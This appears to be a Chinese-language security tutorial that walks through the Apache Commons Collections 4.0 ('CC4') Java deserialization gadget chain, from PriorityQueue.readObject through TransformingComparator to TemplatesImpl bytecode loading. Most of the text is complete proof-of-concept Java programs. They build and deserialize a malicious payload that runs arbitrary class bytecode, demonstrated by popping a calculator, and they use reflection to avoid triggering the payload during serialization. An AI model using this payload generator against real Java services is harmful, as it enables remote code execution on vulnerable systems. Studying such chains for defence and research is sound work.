🌸 CC4
CC4
要求的commons-collections
的版本是4.0
的大版本。
其实后半条链是和cc3
一样的,但是前面由于commons-collections
进行了大的升级,所以出现了新的前半段链子。
配置文件:
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version>
</dependency>
🌸 链子分析
还是从transform
开始分析!查找调用transform
方法的地方:
发现在comparators
对比器中,TransformingComparator
类中的compare
方法中调用了transform
方法!这是一个经典的比较器。
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}
继续向前查找谁又调用了compare
方法,当然查找的方法还是一样的,这里的搜索结果就比较多了!
我们期望最好的结果就是某一个类中的readObject
方法中调用了compare
方法。这里就直接看结果,在PriorityQueue
类中的readObject
方法中调用了compare
方法!
PriorityQueue
类实现了Serializable
接口,可以进行序列化。
其代码如上,可以看到在PriorityQueue
类中的readObject
方法的最后,调用了heapify
方法。继续跟进到heapify
方法里面:
private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}
该方法中通过for
循环去调用了siftDown
方法!for
循环中的i初始化为size
右移3
位。继续跟进到siftDown
方法中:
private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}
siftDown
方法中,通过if (comparator != null)
判断comparator
是否为空,如果不为空的话,就调用siftDownUsingComparator
方法,继续跟进到这个方法中:
最后在siftDownUsingComparator
方法中,通过comparator.compare()
调用了compare
方法。从而最终实现了代码执行(后面的半条链子就接上了cc3
的链子)。
该类的构造器也是可以直接访问的,传入的参数就是comparator
。
到这里的话,就是比较清晰了:
PriorityQueue#readObject
->PriorityQueue#heapify
->PriorityQueue#siftDown
->siftDownUsingComparator
->TransformingComparator#compare
后续的话就是接上了cc3的链子!
🌸 编写POC
那么就可以尝试写POC
了:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(chainedTransformer);PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);serialization(priorityQueue);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}
但是当我们运行结束的时候,发现并没有执行任何代码。直接就结束了,也没有报错信息~
🌸 解决问题
因为我们想要尝试去执行PriorityQueue
的readObject
方法,所以我们直接尝试下断点到heapify
然后我们尝试进行调试:
跟进到这里我们可以发现size
的结果是0
,接下来执行的是for
循环的第一次,i
的结果就是size>>>1
,在java
中,>>>
的含义是将一个数的二进制数右移几位,并在左侧空出来的位置,使用0
进行填充。因此由于这里的size
就是0
,所以往右移动1
位,还是0
,然后i=0-1
,得到了i=-1
,由于i>=0
这个条件并没有满足,所以整个for
循环就没有进去!
2的二进制为00000010 -------> 00000001(右移一位的结果就是1),
所以我们可以让size
的结果是大于等于2
的结果,此时就会进入for
循环啦!这里有两个方法:
- 首先这里我们看到
size
是private
修饰的,所以我们可以尝试直接通过反射来修改size
的参数值。 - 第二种方式就是可以通过往队列里面放入两个值,也是可以的!
🍂 往队列里面存放值解决
首先我们可以直接往priorityQueue
里面存放队列,add
方法用来增加队列,传递Transformer
就可以了,所以我们尝试传递两个ConstantTransformer
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(chainedTransformer);PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);priorityQueue.add(new ConstantTransformer(1));priorityQueue.add(new ConstantTransformer(2));serialization(priorityQueue);
// deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}
但是发现代码在序列化的时候,就执行了弹计算器的操作!继续调试:我们发现在我们add
的时候(断点直接下载add
方法中),发现调用了offer
方法:
(第二次add
的时候,由于前面已经是add
了一个值,所以size
变成了1
,然而初始化int i = size
的时候,i的值就变成了 1
)继续跟进到offer
方法中,然而在offer
方法中,其完整的代码如下:
public boolean offer(E e) {if (e == null)throw new NullPointerException();modCount++;int i = size;if (i >= queue.length)grow(i + 1);size = i + 1;if (i == 0)queue[0] = e;elsesiftUp(i, e);return true;
}
这里就又调用了siftUp
方法,继续跟进:
跟进到siftUp
方法中发现:
调用了siftUpUsingComparator
,再次跟进:
然而在siftUpUsingComparator
方法中,居然就调用了compare
方法,导致了我们的代码执行!所以这里需要通过反射改掉前面的某一个值,这个类似于前面的cc
,比如改掉chainedTransformer
,或者comparator
里面的值就好了!
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);//解决for循环不进入的问题priorityQueue.add(new ConstantTransformer(1));priorityQueue.add(new ConstantTransformer(2));Class<? extends TransformingComparator> aClass = comparator.getClass();Field transformerField = aClass.getDeclaredField("transformer");transformerField.setAccessible(true);transformerField.set(comparator,chainedTransformer);
// serialization(priorityQueue);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}
🍂 反射解决
直接通过反射获取PriorityQueue
这个类的原型类,然后进行获取私有的属性,最后在修改这个属性的参数。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(chainedTransformer);PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);Class<? extends PriorityQueue> aClass = priorityQueue.getClass();Field sizeField = aClass.getDeclaredField("size");sizeField.setAccessible(true);sizeField.set(priorityQueue,2);serialization(priorityQueue);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}
以上代码便可以成功的执行代码!弹出计算器!(这里不需要反射修改chainedTransformer
,或者comparator
的原因是,我们通过反射的方法修改了size
的参数值,并没有利用add
方法,也就不会在序列化的时候,就调用compare
方法,也就不会在序列化的过程中就弹出计算器了)